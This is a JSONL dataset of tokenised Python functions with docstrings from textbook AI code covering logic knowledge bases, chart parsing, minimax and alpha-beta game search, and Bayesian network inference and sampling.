{"signature": "def retract(self, sentence):", "body": "abstract<EOL>", "docstring": "Remove sentence from the KB.", "id": "f1683:c0:m4"}
{"signature": "def tell(self, sentence):", "body": "self.clauses.extend(conjuncts(to_cnf(sentence)))<EOL>", "docstring": "Add the sentence's clauses to the KB.", "id": "f1683:c1:m1"}
{"signature": "def ask_generator(self, query):", "body": "if tt_entails(Expr('<STR_LIT:&>', *self.clauses), query):<EOL><INDENT>yield {}<EOL><DEDENT>", "docstring": "Yield the empty substitution if KB implies query; else nothing.", "id": "f1683:c1:m2"}
{"signature": "def retract(self, sentence):", "body": "for c in conjuncts(to_cnf(sentence)):<EOL><INDENT>if c in self.clauses:<EOL><INDENT>self.clauses.remove(c)<EOL><DEDENT><DEDENT>", "docstring": "Remove the sentence's clauses from the KB.", "id": "f1683:c1:m3"}
{"signature": "def __init__(self, op, *args):", "body": "assert isinstance(op, str) or (isnumber(op) and not args)<EOL>self.op = num_or_str(op)<EOL>self.args = list(map(expr, args))<EOL>", "docstring": "Op is a string or number; args are Exprs (or are coerced to Exprs).", "id": "f1683:c2:m0"}
{"signature": "def __call__(self, *args):", "body": "assert is_symbol(self.op) and not self.args<EOL>return Expr(self.op, *args)<EOL>", "docstring": "Self must be a symbol with no args, such as Expr('F').  Create a new\n        Expr with 'F' as op and the args as arguments.", "id": "f1683:c2:m1"}
{"signature": "def __repr__(self):", "body": "if not self.args:         <EOL><INDENT>return str(self.op)<EOL><DEDENT>elif is_symbol(self.op):  <EOL><INDENT>return '<STR_LIT>' % (self.op, '<STR_LIT:U+002CU+0020>'.join(map(repr, self.args)))<EOL><DEDENT>elif len(self.args) == <NUM_LIT:1>: <EOL><INDENT>return self.op + repr(self.args[<NUM_LIT:0>])<EOL><DEDENT>else:                     <EOL><INDENT>return '<STR_LIT>' % ('<STR_LIT:U+0020>'+self.op+'<STR_LIT:U+0020>').join(map(repr, self.args))<EOL><DEDENT>", "docstring": "Show something like 'P' or 'P(x, y)', or '~P' or '(P | Q | R)", "id": "f1683:c2:m2"}
{"signature": "def __eq__(self, other):", "body": "return (other is self) or (isinstance(other, Expr)<EOL>and self.op == other.op and self.args == other.args)<EOL>", "docstring": "x and y are equal iff their ops and args are equal.", "id": "f1683:c2:m3"}
{"signature": "def __hash__(self):", "body": "return hash(self.op) ^ hash(tuple(self.args))<EOL>", "docstring": "Need a hash method so Exprs can live in dicts.", "id": "f1683:c2:m5"}
{"signature": "def tell(self, sentence):", "body": "assert is_definite_clause(sentence), \"<STR_LIT>\"<EOL>self.clauses.append(sentence)<EOL>", "docstring": "Add a definite clause to this KB.", "id": "f1683:c3:m0"}
{"signature": "def ask_generator(self, query):", "body": "if pl_fc_entails(self.clauses, query):<EOL><INDENT>yield {}<EOL><DEDENT>", "docstring": "Yield the empty substitution if KB implies query; else nothing.", "id": "f1683:c3:m1"}
{"signature": "def clauses_with_premise(self, p):", "body": "return [c for c in self.clauses<EOL>if c.op == '<STR_LIT>' and p in conjuncts(c.args[<NUM_LIT:0>])]<EOL>", "docstring": "Return a list of the clauses in KB that have p in their premise.\n        This could be cached away for O(1) speed, but we'll recompute it.", "id": "f1683:c3:m3"}
{"signature": "def Rules(**rules):", "body": "for (lhs, rhs) in list(rules.items()):<EOL><INDENT>rules[lhs] = [alt.strip().split() for alt in rhs.split('<STR_LIT:|>')]<EOL><DEDENT>return rules<EOL>", "docstring": "Create a dictionary mapping symbols to alternative sequences.\n    >>> Rules(A = \"B C | D E\")\n    {'A': [['B', 'C'], ['D', 'E']]}", "id": "f1684:m0"}
{"signature": "def Lexicon(**rules):", "body": "for (lhs, rhs) in list(rules.items()):<EOL><INDENT>rules[lhs] = [word.strip() for word in rhs.split('<STR_LIT:|>')]<EOL><DEDENT>return rules<EOL>", "docstring": "Create a dictionary mapping symbols to alternative words.\n    >>> Lexicon(Art = \"the | a | an\")\n    {'Art': ['the', 'a', 'an']}", "id": "f1684:m1"}
{"signature": "def generate_random(grammar=E_, s='<STR_LIT:S>'):", "body": "import random<EOL>def rewrite(tokens, into):<EOL><INDENT>for token in tokens:<EOL><INDENT>if token in grammar.rules:<EOL><INDENT>rewrite(random.choice(grammar.rules[token]), into)<EOL><DEDENT>elif token in grammar.lexicon:<EOL><INDENT>into.append(random.choice(grammar.lexicon[token]))<EOL><DEDENT>else:<EOL><INDENT>into.append(token)<EOL><DEDENT><DEDENT>return into<EOL><DEDENT>return '<STR_LIT:U+0020>'.join(rewrite(s.split(), []))<EOL>", "docstring": "Replace each token in s by a random entry in grammar (recursively).\n    This is useful for testing a grammar, e.g. generate_random(E_)", "id": "f1684:m2"}
{"signature": "def __init__(self, name, rules, lexicon):", "body": "update(self, name=name, rules=rules, lexicon=lexicon)<EOL>self.categories = DefaultDict([])<EOL>for lhs in lexicon:<EOL><INDENT>for word in lexicon[lhs]:<EOL><INDENT>self.categories[word].append(lhs)<EOL><DEDENT><DEDENT>", "docstring": "A grammar has a set of rules and a lexicon.", "id": "f1684:c0:m0"}
{"signature": "def rewrites_for(self, cat):", "body": "return self.rules.get(cat, ())<EOL>", "docstring": "Return a sequence of possible rhs's that cat can be rewritten as.", "id": "f1684:c0:m1"}
{"signature": "def isa(self, word, cat):", "body": "return cat in self.categories[word]<EOL>", "docstring": "Return True iff word is of category cat", "id": "f1684:c0:m2"}
{"signature": "def __init__(self, grammar, trace=False):", "body": "update(self, grammar=grammar, trace=trace)<EOL>", "docstring": "A datastructure for parsing a string; and methods to do the parse.\n        self.chart[i] holds the edges that end just before the i'th word.\n        Edges are 5-element lists of [start, end, lhs, [found], [expects]].", "id": "f1684:c1:m0"}
{"signature": "def parses(self, words, S='<STR_LIT:S>'):", "body": "if isinstance(words, str):<EOL><INDENT>words = words.split()<EOL><DEDENT>self.parse(words, S)<EOL>return [[i, j, S, found, []]<EOL>for (i, j, lhs, found, expects) in self.chart[len(words)]<EOL>if i == <NUM_LIT:0> and lhs == S and expects == []]<EOL>", "docstring": "Return a list of parses; words can be a list or string.\n        >>> chart = Chart(E_NP_)\n        >>> chart.parses('happy man', 'NP')\n        [[0, 2, 'NP', [('Adj', 'happy'), [1, 2, 'NP', [('N', 'man')], []]], []]]", "id": "f1684:c1:m1"}
{"signature": "def parse(self, words, S='<STR_LIT:S>'):", "body": "self.chart = [[] for i in range(len(words)+<NUM_LIT:1>)]<EOL>self.add_edge([<NUM_LIT:0>, <NUM_LIT:0>, '<STR_LIT>', [], [S]])<EOL>for i in range(len(words)):<EOL><INDENT>self.scanner(i, words[i])<EOL><DEDENT>return self.chart<EOL>", "docstring": "Parse a list of words; according to the grammar.\n        Leave results in the chart.", "id": "f1684:c1:m2"}
{"signature": "def add_edge(self, edge):", "body": "start, end, lhs, found, expects = edge<EOL>if edge not in self.chart[end]:<EOL><INDENT>self.chart[end].append(edge)<EOL>if self.trace:<EOL><INDENT>print('<STR_LIT>' % (caller(<NUM_LIT:2>), edge))<EOL><DEDENT>if not expects:<EOL><INDENT>self.extender(edge)<EOL><DEDENT>else:<EOL><INDENT>self.predictor(edge)<EOL><DEDENT><DEDENT>", "docstring": "Add edge to chart, and see if it extends or predicts another edge.", "id": "f1684:c1:m3"}
{"signature": "def scanner(self, j, word):", "body": "for (i, j, A, alpha, Bb) in self.chart[j]:<EOL><INDENT>if Bb and self.grammar.isa(word, Bb[<NUM_LIT:0>]):<EOL><INDENT>self.add_edge([i, j+<NUM_LIT:1>, A, alpha + [(Bb[<NUM_LIT:0>], word)], Bb[<NUM_LIT:1>:]])<EOL><DEDENT><DEDENT>", "docstring": "For each edge expecting a word of this category here, extend the edge.", "id": "f1684:c1:m4"}
{"signature": "def predictor(self, xxx_todo_changeme):", "body": "(i, j, A, alpha, Bb) = xxx_todo_changeme<EOL>B = Bb[<NUM_LIT:0>]<EOL>if B in self.grammar.rules:<EOL><INDENT>for rhs in self.grammar.rewrites_for(B):<EOL><INDENT>self.add_edge([j, j, B, [], rhs])<EOL><DEDENT><DEDENT>", "docstring": "Add to chart any rules for B that could help extend this edge.", "id": "f1684:c1:m5"}
{"signature": "def extender(self, edge):", "body": "(j, k, B, _, _) = edge<EOL>for (i, j, A, alpha, B1b) in self.chart[j]:<EOL><INDENT>if B1b and B == B1b[<NUM_LIT:0>]:<EOL><INDENT>self.add_edge([i, k, A, alpha + [edge], B1b[<NUM_LIT:1>:]])<EOL><DEDENT><DEDENT>", "docstring": "See what edges can be extended by this edge.", "id": "f1684:c1:m6"}
{"signature": "def minimax_decision(state, game):", "body": "player = game.to_move(state)<EOL>def max_value(state):<EOL><INDENT>if game.terminal_test(state):<EOL><INDENT>return game.utility(state, player)<EOL><DEDENT>v = -infinity<EOL>for a in game.actions(state):<EOL><INDENT>v = max(v, min_value(game.result(state, a)))<EOL><DEDENT>return v<EOL><DEDENT>def min_value(state):<EOL><INDENT>if game.terminal_test(state):<EOL><INDENT>return game.utility(state, player)<EOL><DEDENT>v = infinity<EOL>for a in game.actions(state):<EOL><INDENT>v = min(v, max_value(game.result(state, a)))<EOL><DEDENT>return v<EOL><DEDENT>return argmax(game.actions(state),<EOL>lambda a: min_value(game.result(state, a)))<EOL>", "docstring": "Given a state in a game, calculate the best move by searching\n    forward all the way to the terminal states. [Fig. 5.3]", "id": "f1685:m0"}
{"signature": "def alphabeta_full_search(state, game):", "body": "player = game.to_move(state)<EOL>def max_value(state, alpha, beta):<EOL><INDENT>if game.terminal_test(state):<EOL><INDENT>return game.utility(state, player)<EOL><DEDENT>v = -infinity<EOL>for a in game.actions(state):<EOL><INDENT>v = max(v, min_value(game.result(state, a), alpha, beta))<EOL>if v >= beta:<EOL><INDENT>return v<EOL><DEDENT>alpha = max(alpha, v)<EOL><DEDENT>return v<EOL><DEDENT>def min_value(state, alpha, beta):<EOL><INDENT>if game.terminal_test(state):<EOL><INDENT>return game.utility(state, player)<EOL><DEDENT>v = infinity<EOL>for a in game.actions(state):<EOL><INDENT>v = min(v, max_value(game.result(state, a), alpha, beta))<EOL>if v <= alpha:<EOL><INDENT>return v<EOL><DEDENT>beta = min(beta, v)<EOL><DEDENT>return v<EOL><DEDENT>return argmax(game.actions(state),<EOL>lambda a: min_value(game.result(state, a),<EOL>-infinity, infinity))<EOL>", "docstring": "Search game to determine best action; use alpha-beta pruning.\n    As in [Fig. 5.7], this version searches all the way to the leaves.", "id": "f1685:m1"}
{"signature": "def query_player(game, state):", "body": "game.display(state)<EOL>return num_or_str(input('<STR_LIT>'))<EOL>", "docstring": "Make a move by querying standard input.", "id": "f1685:m3"}
{"signature": "def random_player(game, state):", "body": "return random.choice(game.actions(state))<EOL>", "docstring": "A player that chooses a legal move at random.", "id": "f1685:m4"}
{"signature": "def play_game(game, *players):", "body": "state = game.initial<EOL>while True:<EOL><INDENT>for player in players:<EOL><INDENT>move = player(game, state)<EOL>state = game.result(state, move)<EOL>if game.terminal_test(state):<EOL><INDENT>return game.utility(state, game.to_move(game.initial))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Play an n-person, move-alternating game.\n    >>> play_game(Fig52Game(), alphabeta_player, alphabeta_player)\n    3", "id": "f1685:m6"}
{"signature": "def actions(self, state):", "body": "abstract<EOL>", "docstring": "Return a list of the allowable moves at this point.", "id": "f1685:c0:m0"}
{"signature": "def result(self, state, move):", "body": "abstract<EOL>", "docstring": "Return the state that results from making a move from a state.", "id": "f1685:c0:m1"}
{"signature": "def utility(self, state, player):", "body": "abstract<EOL>", "docstring": "Return the value of this final state to player.", "id": "f1685:c0:m2"}
{"signature": "def to_move(self, state):", "body": "return state.to_move<EOL>", "docstring": "Return the player whose move it is in this state.", "id": "f1685:c0:m4"}
{"signature": "def display(self, state):", "body": "print(state)<EOL>", "docstring": "Print or otherwise display the state.", "id": "f1685:c0:m5"}
{"signature": "def actions(self, state):", "body": "return state.moves<EOL>", "docstring": "Legal moves are any square not yet taken.", "id": "f1685:c2:m1"}
{"signature": "def utility(self, state, player):", "body": "return if_(player == '<STR_LIT:X>', state.utility, -state.utility)<EOL>", "docstring": "Return the value to player; 1 for win, -1 for loss, 0 otherwise.", "id": "f1685:c2:m3"}
{"signature": "def compute_utility(self, board, move, player):", "body": "if (self.k_in_row(board, move, player, (<NUM_LIT:0>, <NUM_LIT:1>)) or<EOL>self.k_in_row(board, move, player, (<NUM_LIT:1>, <NUM_LIT:0>)) or<EOL>self.k_in_row(board, move, player, (<NUM_LIT:1>, -<NUM_LIT:1>)) or<EOL>self.k_in_row(board, move, player, (<NUM_LIT:1>, <NUM_LIT:1>))):<EOL><INDENT>return if_(player == '<STR_LIT:X>', +<NUM_LIT:1>, -<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>", "docstring": "If X wins with this move, return 1; if O return -1; else return 0.", "id": "f1685:c2:m6"}
{"signature": "def k_in_row(self, board, move, player, xxx_todo_changeme):", "body": "(delta_x, delta_y) = xxx_todo_changeme<EOL>x, y = move<EOL>n = <NUM_LIT:0> <EOL>while board.get((x, y)) == player:<EOL><INDENT>n += <NUM_LIT:1><EOL>x, y = x + delta_x, y + delta_y<EOL><DEDENT>x, y = move<EOL>while board.get((x, y)) == player:<EOL><INDENT>n += <NUM_LIT:1><EOL>x, y = x - delta_x, y - delta_y<EOL><DEDENT>n -= <NUM_LIT:1> <EOL>return n >= self.k<EOL>", "docstring": "Return true if there is a line through move on board for player.", "id": "f1685:c2:m7"}
{"signature": "def DTAgentProgram(belief_state):", "body": "def program(percept):<EOL><INDENT>belief_state.observe(program.action, percept)<EOL>program.action = argmax(belief_state.actions(),<EOL>belief_state.expected_outcome_utility)<EOL>return program.action<EOL><DEDENT>program.action = None<EOL>return program<EOL>", "docstring": "A decision-theoretic agent. [Fig. 13.1]", "id": "f1686:m0"}
{"signature": "def event_values(event, vars):", "body": "if isinstance(event, tuple) and len(event) == len(vars):<EOL><INDENT>return event<EOL><DEDENT>else:<EOL><INDENT>return tuple([event[var] for var in vars])<EOL><DEDENT>", "docstring": "Return a tuple of the values of variables vars in event.\n    >>> event_values ({'A': 10, 'B': 9, 'C': 8}, ['C', 'A'])\n    (8, 10)\n    >>> event_values ((1, 2), ['C', 'A'])\n    (1, 2)", "id": "f1686:m1"}
{"signature": "def enumerate_joint_ask(X, e, P):", "body": "assert X not in e, \"<STR_LIT>\"<EOL>Q = ProbDist(X) <EOL>Y = [v for v in P.variables if v != X and v not in e] <EOL>for xi in P.values(X):<EOL><INDENT>Q[xi] = enumerate_joint(Y, extend(e, X, xi), P)<EOL><DEDENT>return Q.normalize()<EOL>", "docstring": "Return a probability distribution over the values of the variable X,\n    given the {var:val} observations e, in the JointProbDist P. [Section 13.3]\n    >>> P = JointProbDist(['X', 'Y'])\n    >>> P[0,0] = 0.25; P[0,1] = 0.5; P[1,1] = P[2,1] = 0.125\n    >>> enumerate_joint_ask('X', dict(Y=1), P).show_approx()\n    '0: 0.667, 1: 0.167, 2: 0.167'", "id": "f1686:m2"}
{"signature": "def enumerate_joint(vars, e, P):", "body": "if not vars:<EOL><INDENT>return P[e]<EOL><DEDENT>Y, rest = vars[<NUM_LIT:0>], vars[<NUM_LIT:1>:]<EOL>return sum([enumerate_joint(rest, extend(e, Y, y), P)<EOL>for y in P.values(Y)])<EOL>", "docstring": "Return the sum of those entries in P consistent with e,\n    provided vars is P's remaining variables (the ones not in e).", "id": "f1686:m3"}
{"signature": "def enumeration_ask(X, e, bn):", "body": "assert X not in e, \"<STR_LIT>\"<EOL>Q = ProbDist(X)<EOL>for xi in bn.variable_values(X):<EOL><INDENT>Q[xi] = enumerate_all(bn.vars, extend(e, X, xi), bn)<EOL><DEDENT>return Q.normalize()<EOL>", "docstring": "Return the conditional probability distribution of variable X\n    given evidence e, from BayesNet bn. [Fig. 14.9]\n    >>> enumeration_ask('Burglary', dict(JohnCalls=T, MaryCalls=T), burglary\n    ...  ).show_approx()\n    'False: 0.716, True: 0.284", "id": "f1686:m4"}
{"signature": "def enumerate_all(vars, e, bn):", "body": "if not vars:<EOL><INDENT>return <NUM_LIT:1.0><EOL><DEDENT>Y, rest = vars[<NUM_LIT:0>], vars[<NUM_LIT:1>:]<EOL>Ynode = bn.variable_node(Y)<EOL>if Y in e:<EOL><INDENT>return Ynode.p(e[Y], e) * enumerate_all(rest, e, bn)<EOL><DEDENT>else:<EOL><INDENT>return sum(Ynode.p(y, e) * enumerate_all(rest, extend(e, Y, y), bn)<EOL>for y in bn.variable_values(Y))<EOL><DEDENT>", "docstring": "Return the sum of those entries in P(vars | e{others})\n    consistent with e, where P is the joint distribution represented\n    by bn, and e{others} means e restricted to bn's other variables\n    (the ones other than vars). Parents must precede children in vars.", "id": "f1686:m5"}
{"signature": "def elimination_ask(X, e, bn):", "body": "assert X not in e, \"<STR_LIT>\"<EOL>factors = []<EOL>for var in reversed(bn.vars):<EOL><INDENT>factors.append(make_factor(var, e, bn))<EOL>if is_hidden(var, X, e):<EOL><INDENT>factors = sum_out(var, factors, bn)<EOL><DEDENT><DEDENT>return pointwise_product(factors, bn).normalize()<EOL>", "docstring": "Compute bn's P(X|e) by variable elimination. [Fig. 14.11]\n    >>> elimination_ask('Burglary', dict(JohnCalls=T, MaryCalls=T), burglary\n    ...  ).show_approx()\n    'False: 0.716, True: 0.284", "id": "f1686:m6"}
{"signature": "def is_hidden(var, X, e):", "body": "return var != X and var not in e<EOL>", "docstring": "Is var a hidden variable when querying P(X|e)?", "id": "f1686:m7"}
{"signature": "def make_factor(var, e, bn):", "body": "node = bn.variable_node(var)<EOL>vars = [X for X in [var] + node.parents if X not in e]<EOL>cpt = dict((event_values(e1, vars), node.p(e1[var], e1))<EOL>for e1 in all_events(vars, bn, e))<EOL>return Factor(vars, cpt)<EOL>", "docstring": "Return the factor for var in bn's joint distribution given e.\n    That is, bn's full joint distribution, projected to accord with e,\n    is the pointwise product of these factors for bn's variables.", "id": "f1686:m8"}
{"signature": "def sum_out(var, factors, bn):", "body": "result, var_factors = [], []<EOL>for f in factors:<EOL><INDENT>(var_factors if var in f.vars else result).append(f)<EOL><DEDENT>result.append(pointwise_product(var_factors, bn).sum_out(var, bn))<EOL>return result<EOL>", "docstring": "Eliminate var from all factors by summing over its values.", "id": "f1686:m10"}
{"signature": "def all_events(vars, bn, e):", "body": "if not vars:<EOL><INDENT>yield e<EOL><DEDENT>else:<EOL><INDENT>X, rest = vars[<NUM_LIT:0>], vars[<NUM_LIT:1>:]<EOL>for e1 in all_events(rest, bn, e):<EOL><INDENT>for x in bn.variable_values(X):<EOL><INDENT>yield extend(e1, X, x)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Yield every way of extending e with values for all vars.", "id": "f1686:m11"}
{"signature": "def prior_sample(bn):", "body": "event = {}<EOL>for node in bn.nodes:<EOL><INDENT>event[node.variable] = node.sample(event)<EOL><DEDENT>return event<EOL>", "docstring": "Randomly sample from bn's full joint distribution. The result\n    is a {variable: value} dict. [Fig. 14.13]", "id": "f1686:m12"}
{"signature": "def rejection_sampling(X, e, bn, N):", "body": "counts = dict((x, <NUM_LIT:0>) for x in bn.variable_values(X)) <EOL>for j in range(N):<EOL><INDENT>sample = prior_sample(bn) <EOL>if consistent_with(sample, e):<EOL><INDENT>counts[sample[X]] += <NUM_LIT:1><EOL><DEDENT><DEDENT>return ProbDist(X, counts)<EOL>", "docstring": "Estimate the probability distribution of variable X given\n    evidence e in BayesNet bn, using N samples.  [Fig. 14.14]\n    Raises a ZeroDivisionError if all the N samples are rejected,\n    i.e., inconsistent with e.\n    >>> seed(47)\n    >>> rejection_sampling('Burglary', dict(JohnCalls=T, MaryCalls=T),\n    ...   burglary, 10000).show_approx()\n    'False: 0.7, True: 0.3'", "id": "f1686:m13"}
{"signature": "def consistent_with(event, evidence):", "body": "return every(lambda k_v: evidence.get(k_v[<NUM_LIT:0>], k_v[<NUM_LIT:1>]) == k_v[<NUM_LIT:1>],<EOL>list(event.items()))<EOL>", "docstring": "Is event consistent with the given evidence?", "id": "f1686:m14"}
{"signature": "def likelihood_weighting(X, e, bn, N):", "body": "W = dict((x, <NUM_LIT:0>) for x in bn.variable_values(X))<EOL>for j in range(N):<EOL><INDENT>sample, weight = weighted_sample(bn, e) <EOL>W[sample[X]] += weight<EOL><DEDENT>return ProbDist(X, W)<EOL>", "docstring": "Estimate the probability distribution of variable X given\n    evidence e in BayesNet bn.  [Fig. 14.15]\n    >>> seed(1017)\n    >>> likelihood_weighting('Burglary', dict(JohnCalls=T, MaryCalls=T),\n    ...   burglary, 10000).show_approx()\n    'False: 0.702, True: 0.298'", "id": "f1686:m15"}
{"signature": "def weighted_sample(bn, e):", "body": "w = <NUM_LIT:1><EOL>event = dict(e) <EOL>for node in bn.nodes:<EOL><INDENT>Xi = node.variable<EOL>if Xi in e:<EOL><INDENT>w *= node.p(e[Xi], event)<EOL><DEDENT>else:<EOL><INDENT>event[Xi] = node.sample(event)<EOL><DEDENT><DEDENT>return event, w<EOL>", "docstring": "Sample an event from bn that's consistent with the evidence e;\n    return the event and its weight, the likelihood that the event\n    accords to the evidence.", "id": "f1686:m16"}
{"signature": "def gibbs_ask(X, e, bn, N):", "body": "assert X not in e, \"<STR_LIT>\"<EOL>counts = dict((x, <NUM_LIT:0>) for x in bn.variable_values(X)) <EOL>Z = [var for var in bn.vars if var not in e]<EOL>state = dict(e) <EOL>for Zi in Z:<EOL><INDENT>state[Zi] = choice(bn.variable_values(Zi))<EOL><DEDENT>for j in range(N):<EOL><INDENT>for Zi in Z:<EOL><INDENT>state[Zi] = markov_blanket_sample(Zi, state, bn)<EOL>counts[state[X]] += <NUM_LIT:1><EOL><DEDENT><DEDENT>return ProbDist(X, counts)<EOL>", "docstring": "[Fig. 14.16]\n    >>> seed(1017)\n    >>> gibbs_ask('Burglary', dict(JohnCalls=T, MaryCalls=T), burglary, 1000\n    ...  ).show_approx()\n    'False: 0.738, True: 0.262'", "id": "f1686:m17"}
{"signature": "def markov_blanket_sample(X, e, bn):", "body": "Xnode = bn.variable_node(X)<EOL>Q = ProbDist(X)<EOL>for xi in bn.variable_values(X):<EOL><INDENT>ei = extend(e, X, xi)<EOL>Q[xi] = Xnode.p(xi, e) * product(Yj.p(ei[Yj.variable], ei)<EOL>for Yj in Xnode.children)<EOL><DEDENT>return probability(Q.normalize()[True])<EOL>", "docstring": "Return a sample from P(X | mb) where mb denotes that the\n    variables in the Markov blanket of X take their values from event\n    e (which must assign a value to each). The Markov blanket of X is\n    X's parents, children, and children's parents.", "id": "f1686:m18"}
{"signature": "def forward_backward(ev, prior):", "body": "unimplemented()<EOL>", "docstring": "[Fig. 15.4]", "id": "f1686:m19"}
{"signature": "def fixed_lag_smoothing(e_t, hmm, d):", "body": "unimplemented()<EOL>", "docstring": "[Fig. 15.6]", "id": "f1686:m20"}
{"signature": "def particle_filtering(e, N, dbn):", "body": "unimplemented()<EOL>", "docstring": "[Fig. 15.17]", "id": "f1686:m21"}
{"signature": "def __init__(self, varname='<STR_LIT:?>', freqs=None):", "body": "update(self, prob={}, varname=varname, values=[])<EOL>if freqs:<EOL><INDENT>for (v, p) in list(freqs.items()):<EOL><INDENT>self[v] = p<EOL><DEDENT>self.normalize()<EOL><DEDENT>", "docstring": "If freqs is given, it is a dictionary of value: frequency pairs,\n        and the ProbDist then is normalized.", "id": "f1686:c0:m0"}
{"signature": "def __getitem__(self, val):", "body": "try: return self.prob[val]<EOL>except KeyError: return <NUM_LIT:0><EOL>", "docstring": "Given a value, return P(value).", "id": "f1686:c0:m1"}
{"signature": "def __setitem__(self, val, p):", "body": "if val not in self.values:<EOL><INDENT>self.values.append(val)<EOL><DEDENT>self.prob[val] = p<EOL>", "docstring": "Set P(val) = p.", "id": "f1686:c0:m2"}
{"signature": "def normalize(self):", "body": "total = float(sum(self.prob.values()))<EOL>if not (<NUM_LIT:1.0>-epsilon < total < <NUM_LIT:1.0>+epsilon):<EOL><INDENT>for val in self.prob:<EOL><INDENT>self.prob[val] /= total<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Make sure the probabilities of all values sum to 1.\n        Returns the normalized distribution.\n        Raises a ZeroDivisionError if the sum of the values is 0.\n        >>> P = ProbDist('Flip'); P['H'], P['T'] = 35, 65\n        >>> P = P.normalize()\n        >>> print '%5.3f %5.3f' % (P.prob['H'], P.prob['T'])\n        0.350 0.650", "id": "f1686:c0:m3"}
{"signature": "def show_approx(self, numfmt='<STR_LIT>'):", "body": "return '<STR_LIT:U+002CU+0020>'.join([('<STR_LIT>' + numfmt) % (v, p)<EOL>for (v, p) in sorted(self.prob.items())])<EOL>", "docstring": "Show the probabilities rounded and sorted by key, for the\n        sake of portable doctests.", "id": "f1686:c0:m4"}
{"signature": "def __getitem__(self, values):", "body": "values = event_values(values, self.variables)<EOL>return ProbDist.__getitem__(self, values)<EOL>", "docstring": "Given a tuple or dict of values, return P(values).", "id": "f1686:c1:m1"}
{"signature": "def __setitem__(self, values, p):", "body": "values = event_values(values, self.variables)<EOL>self.prob[values] = p<EOL>for var, val in zip(self.variables, values):<EOL><INDENT>if val not in self.vals[var]:<EOL><INDENT>self.vals[var].append(val)<EOL><DEDENT><DEDENT>", "docstring": "Set P(values) = p.  Values can be a tuple or a dict; it must\n        have a value for each of the variables in the joint. Also keep track\n        of the values we have seen so far for each variable.", "id": "f1686:c1:m2"}
{"signature": "def values(self, var):", "body": "return self.vals[var]<EOL>", "docstring": "Return the set of possible values for a variable.", "id": "f1686:c1:m3"}
{"signature": "def __init__(self, node_specs=[]):", "body": "update(self, nodes=[], vars=[])<EOL>for node_spec in node_specs:<EOL><INDENT>self.add(node_spec)<EOL><DEDENT>", "docstring": "nodes must be ordered with parents before children.", "id": "f1686:c2:m0"}
{"signature": "def add(self, node_spec):", "body": "node = BayesNode(*node_spec)<EOL>assert node.variable not in self.vars<EOL>assert every(lambda parent: parent in self.vars, node.parents)<EOL>self.nodes.append(node)<EOL>self.vars.append(node.variable)<EOL>for parent in node.parents:<EOL><INDENT>self.variable_node(parent).children.append(node)<EOL><DEDENT>", "docstring": "Add a node to the net. Its parents must already be in the\n        net, and its variable must not.", "id": "f1686:c2:m1"}
{"signature": "def variable_node(self, var):", "body": "for n in self.nodes:<EOL><INDENT>if n.variable == var:<EOL><INDENT>return n<EOL><DEDENT><DEDENT>raise Exception(\"<STR_LIT>\" % var)<EOL>", "docstring": "Return the node for the variable named var.\n        >>> burglary.variable_node('Burglary').variable\n        'Burglary", "id": "f1686:c2:m2"}
{"signature": "def variable_values(self, var):", "body": "return [True, False]<EOL>", "docstring": "Return the domain of var.", "id": "f1686:c2:m3"}
{"signature": "def __init__(self, X, parents, cpt):", "body": "if isinstance(parents, str): parents = parents.split()<EOL>if isinstance(cpt, (float, int)): <EOL><INDENT>cpt = {(): cpt}<EOL><DEDENT>elif isinstance(cpt, dict):<EOL><INDENT>if cpt and isinstance(list(cpt.keys())[<NUM_LIT:0>], bool): <EOL><INDENT>cpt = dict(((v,), p) for v, p in list(cpt.items()))<EOL><DEDENT><DEDENT>assert isinstance(cpt, dict)<EOL>for vs, p in list(cpt.items()):<EOL><INDENT>assert isinstance(vs, tuple) and len(vs) == len(parents)<EOL>assert every(lambda v: isinstance(v, bool), vs)<EOL>assert <NUM_LIT:0> <= p <= <NUM_LIT:1><EOL><DEDENT>update(self, variable=X, parents=parents, cpt=cpt, children=[])<EOL>", "docstring": "X is a variable name, and parents a sequence of variable\n        names or a space-separated string.  cpt, the conditional\n        probability table, takes one of these forms:\n\n        * A number, the unconditional probability P(X=true). You can\n          use this form when there are no parents.\n\n        * A dict {v: p, ...}, the conditional probability distribution\n          P(X=true | parent=v) = p. When there's just one parent.\n\n        * A dict {(v1, v2, ...): p, ...}, the distribution P(X=true |\n          parent1=v1, parent2=v2, ...) = p. Each key must have as many\n          values as there are parents. You can use this form always;\n          the first two are just conveniences.\n\n        In all cases the probability of X being false is left implicit,\n        since it follows from P(X=true).\n\n        >>> X = BayesNode('X', '', 0.2)\n        >>> Y = BayesNode('Y', 'P', {T: 0.2, F: 0.7})\n        >>> Z = BayesNode('Z', 'P Q',\n        ...    {(T, T): 0.2, (T, F): 0.3, (F, T): 0.5, (F, F): 0.7})", "id": "f1686:c3:m0"}
{"signature": "def p(self, value, event):", "body": "assert isinstance(value, bool)<EOL>ptrue = self.cpt[event_values(event, self.parents)]<EOL>return if_(value, ptrue, <NUM_LIT:1> - ptrue)<EOL>", "docstring": "Return the conditional probability\n        P(X=value | parents=parent_values), where parent_values\n        are the values of parents in event. (event must assign each\n        parent a value.)\n        >>> bn = BayesNode('X', 'Burglary', {T: 0.2, F: 0.625})\n        >>> bn.p(False, {'Burglary': False, 'Earthquake': True})\n        0.375", "id": "f1686:c3:m1"}
{"signature": "def sample(self, event):", "body": "return probability(self.p(True, event))<EOL>", "docstring": "Sample from the distribution for this variable conditioned\n        on event's values for parent_vars. That is, return True/False\n        at random according with the conditional probability given the\n        parents.", "id": "f1686:c3:m2"}
{"signature": "def pointwise_product(self, other, bn):", "body": "vars = list(set(self.vars) | set(other.vars))<EOL>cpt = dict((event_values(e, vars), self.p(e) * other.p(e))<EOL>for e in all_events(vars, bn, {}))<EOL>return Factor(vars, cpt)<EOL>", "docstring": "Multiply two factors, combining their variables.", "id": "f1686:c4:m1"}
{"signature": "def sum_out(self, var, bn):", "body": "vars = [X for X in self.vars if X != var]<EOL>cpt = dict((event_values(e, vars),<EOL>sum(self.p(extend(e, var, val))<EOL>for val in bn.variable_values(var)))<EOL>for e in all_events(vars, bn, {}))<EOL>return Factor(vars, cpt)<EOL>", "docstring": "Make a factor eliminating var by summing over its values.", "id": "f1686:c4:m2"}
